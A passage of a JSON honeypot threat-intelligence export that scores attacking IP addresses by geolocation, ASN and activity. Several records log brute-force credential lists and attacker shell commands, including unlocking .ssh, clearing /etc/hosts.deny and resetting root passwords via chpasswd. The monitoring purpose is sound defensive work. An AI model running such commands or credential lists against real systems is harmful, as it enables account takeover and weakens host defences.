      "first_seen": "2026-03-07T10:45:13.385Z",
      "last_seen": "2026-03-07T10:45:25.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135799,
      "as_org": "Rapidnet Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T10:45:13.385000+00:00",
        "last_seen_30d": "2026-03-07T10:46:27.223000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.96.108.60": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:08:55.660Z",
      "last_seen": "2026-03-14T22:09:26.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Sidi Bel Abbes",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:08:55.660000+00:00",
        "last_seen_30d": "2026-03-14T22:10:27.962000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.252.245.5": {
      "attack_count": 2,
      "first_seen": "2026-03-19T05:38:06.767Z",
      "last_seen": "2026-03-19T05:38:19.769Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Herbert\u0101b\u0101d",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T05:38:06.767000+00:00",
        "last_seen_30d": "2026-03-19T05:39:21.994000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.37.149.99": {
      "attack_count": 2,
      "first_seen": "2026-03-24T19:41:04.513Z",
      "last_seen": "2026-03-24T19:41:18.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T19:41:04.513000+00:00",
        "last_seen_30d": "2026-03-24T19:42:24.464000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.106.202.169": {
      "attack_count": 2,
      "first_seen": "2026-03-03T21:05:25.407Z",
      "last_seen": "2026-03-03T21:05:56.134Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kasugai",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:05:25.407000+00:00",
        "last_seen_30d": "2026-03-03T21:07:03.409000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.243.251.70": {
      "attack_count": 2,
      "first_seen": "2026-03-17T13:06:29.154Z",
      "last_seen": "2026-03-17T13:06:42.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T13:06:29.154000+00:00",
        "last_seen_30d": "2026-03-17T13:07:48.095000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.94.234.104": {
      "attack_count": 2,
      "first_seen": "2026-03-16T05:45:27.236Z",
      "last_seen": "2026-03-16T05:45:40.240Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bel\u00e9m",
      "asn": 262887,
      "as_org": "RAPIX INTERNET",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T05:45:27.236000+00:00",
        "last_seen_30d": "2026-03-16T05:46:48.802000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.194.171.240": {
      "attack_count": 2,
      "first_seen": "2026-03-31T09:56:17.051Z",
      "last_seen": "2026-03-31T09:56:29.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T09:56:17.051000+00:00",
        "last_seen_30d": "2026-03-31T09:57:35.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.208.159.193": {
      "attack_count": 2,
      "first_seen": "2026-03-19T05:52:01.608Z",
      "last_seen": "2026-03-19T05:52:01.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T05:52:01.608000+00:00",
        "last_seen_30d": "2026-03-22T11:04:29.365000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "191.5.48.172": {
      "attack_count": 2,
      "first_seen": "2026-03-14T21:56:35.520Z",
      "last_seen": "2026-03-14T21:57:06.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Medianeira",
      "asn": 263532,
      "as_org": "VIAR TELECOMUNICACOES LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:56:35.520000+00:00",
        "last_seen_30d": "2026-03-14T21:58:11.325000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "196.43.90.126": {
      "attack_count": 2,
      "first_seen": "2026-03-16T07:35:12.593Z",
      "last_seen": "2026-03-16T07:35:25.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:35:12.593000+00:00",
        "last_seen_30d": "2026-03-16T07:36:28.094000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.86": {
      "attack_count": 2,
      "first_seen": "2026-03-06T07:32:17.186Z",
      "last_seen": "2026-03-06T07:32:27.005Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 28,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:39:02+00:00",
        "last_seen_30d": "2026-03-29T20:18:04.106000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 32,
        "Cowrie": 2,
        "CitrixHoneypot": 1,
        "ConPot": 1
      }
    },
    "210.212.28.137": {
      "attack_count": 2,
      "first_seen": "2026-03-19T08:49:38.310Z",
      "last_seen": "2026-03-19T08:49:51.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rourkela",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:49:38.310000+00:00",
        "last_seen_30d": "2026-03-19T08:50:53.961000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.168.188": {
      "attack_count": 2,
      "first_seen": "2026-03-16T15:54:37.086Z",
      "last_seen": "2026-03-16T15:54:50.077Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:54:37.086000+00:00",
        "last_seen_30d": "2026-03-16T15:55:56.646000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.202.243": {
      "attack_count": 2,
      "first_seen": "2026-03-11T22:27:38.286Z",
      "last_seen": "2026-03-11T22:28:09.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:27:38.286000+00:00",
        "last_seen_30d": "2026-03-11T22:29:17+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.149.60.223": {
      "attack_count": 2,
      "first_seen": "2026-03-20T05:48:07.906Z",
      "last_seen": "2026-03-20T05:48:21.323Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Upland",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T05:48:07.906000+00:00",
        "last_seen_30d": "2026-03-20T05:49:30.185000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.230.62.236": {
      "attack_count": 2,
      "first_seen": "2026-03-06T22:21:02.255Z",
      "last_seen": "2026-03-06T22:21:14.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hsinchu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T22:21:02.255000+00:00",
        "last_seen_30d": "2026-03-06T22:22:17.316000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.195.98": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:32:04.246Z",
      "last_seen": "2026-03-13T17:32:35.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:32:04.246000+00:00",
        "last_seen_30d": "2026-03-13T17:33:39.829000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.224.192.52": {
      "attack_count": 2,
      "first_seen": "2026-03-18T04:39:48.087Z",
      "last_seen": "2026-03-18T04:40:01.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:39:48.087000+00:00",
        "last_seen_30d": "2026-03-18T04:41:07.957000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.31.248.227": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:48:42.488Z",
      "last_seen": "2026-03-21T22:48:57.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:48:42.488000+00:00",
        "last_seen_30d": "2026-03-21T22:49:58.409000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.43.86.157": {
      "attack_count": 2,
      "first_seen": "2026-03-25T16:02:25.654Z",
      "last_seen": "2026-03-25T16:02:38.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Albox",
      "asn": 29119,
      "as_org": "Aire Networks Del Mediterraneo Sl Unipersonal",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T16:02:25.654000+00:00",
        "last_seen_30d": "2026-03-25T16:03:39.555000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.221.229.19": {
      "attack_count": 2,
      "first_seen": "2026-03-31T17:47:11.012Z",
      "last_seen": "2026-03-31T17:47:24.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Lobnya",
      "asn": 12714,
      "as_org": "PJSC MegaFon",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T17:47:11.012000+00:00",
        "last_seen_30d": "2026-03-31T17:48:32.885000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.248.93.60": {
      "attack_count": 893,
      "first_seen": "2026-03-02T07:53:38.054Z",
      "last_seen": "2026-03-02T09:48:53.101Z",
      "sessions": 176,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "newuser",
        "root",
        "test",
        "ubuntu",
        "user",
        "oracle"
      ],
      "passwords_attempted": [
        "123456",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123456a",
        "123456b",
        "123456c",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "555555",
        "654321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1270,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:53:38.054000+00:00",
        "last_seen_30d": "2026-03-02T09:50:00.951000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 893,
        "Suricata": 377
      }
    },
    "36.255.3.203": {
      "attack_count": 615,
      "first_seen": "2026-03-02T07:17:48.106Z",
      "last_seen": "2026-03-28T02:43:55.408Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "galdanf",
        "kfserver",
        "andi",
        "claude",
        "gpadmin",
        "hj",
        "isabel",
        "mcserver",
        "proxy",
        "up",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#Qwe",
        "123456",
        "1234567891",
        "123456789aA",
        "123QWEasd",
        "123aa123",
        "1q2w3e#@!",
        "1qazzaq1",
        "821027",
        "Anonymous@123",
        "Apple2025",
        "Ca123456!",
        "Hello1234@",
        "Huawei123!",
        "P@ssvv0rd",
        "Pass@2020",
        "Q1w2e3R4",
        "QAZ@wsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Huawei123!\\nGTLB17UjKOem\\nGTLB17UjKOem\\n\"|passwd",
        "echo \"kfserver\\nRXJh40e7UKi5\\nRXJh40e7UKi5\\n\"|passwd",
        "echo \"root:5TQryhqnPqXc\"|chpasswd|bash",
        "echo \"root:APB1SlXVLrRF\"|chpasswd|bash",
        "echo \"root:ggOVp5yeC3E1\"|chpasswd|bash",
        "echo \"root:tUChv6ZjURt2\"|chpasswd|bash",
        "echo -e \"Huawei123!\\nGTLB17UjKOem\\nGTLB17UjKOem\"|passwd|bash",
        "echo -e \"kfserver\\nRXJh40e7UKi5\\nRXJh40e7UKi5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 18229,
      "as_org": "CtrlS",
      "threat_score": 56.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 740,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:17:48.106000+00:00",
        "last_seen_30d": "2026-03-28T02:44:56.985000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 615,
        "Suricata": 125
      }
    },
    "183.82.111.224": {
      "attack_count": 579,
      "first_seen": "2026-03-12T00:34:36.606Z",
      "last_seen": "2026-03-24T07:06:51.493Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "altibase",
        "central",
        "downloader",
        "n8n",
        "tester",
        "zzy",
        "alarm",
        "alexandra",
        "amir",
        "botuser",
        "carlo",
        "carlos",
        "cheng",
        "chris",
        "default",
        "dev",
        "glassfish",
        "icecast"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "123456",
        "0000",
        "1",
        "1234",
        "12345",
        "1qa@WS3ed",
        "Carlos123!",
        "Chris",
        "Glassfish123!",
        "Huawei12#$",
        "Mastodon123!",
        "Project123",
        "alexandra123",
        "botuser123",
        "defaultpass",
        "infra123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nQqzxmCPnOgHn\\nQqzxmCPnOgHn\\n\"|passwd",
        "echo \"12345678\\nco4NMIJ1ljpj\\nco4NMIJ1ljpj\\n\"|passwd",
        "echo \"12345\\n8jYFmzSuG9MK\\n8jYFmzSuG9MK\\n\"|passwd",
        "echo \"123\\nP6QG0pTA6suQ\\nP6QG0pTA6suQ\\n\"|passwd",
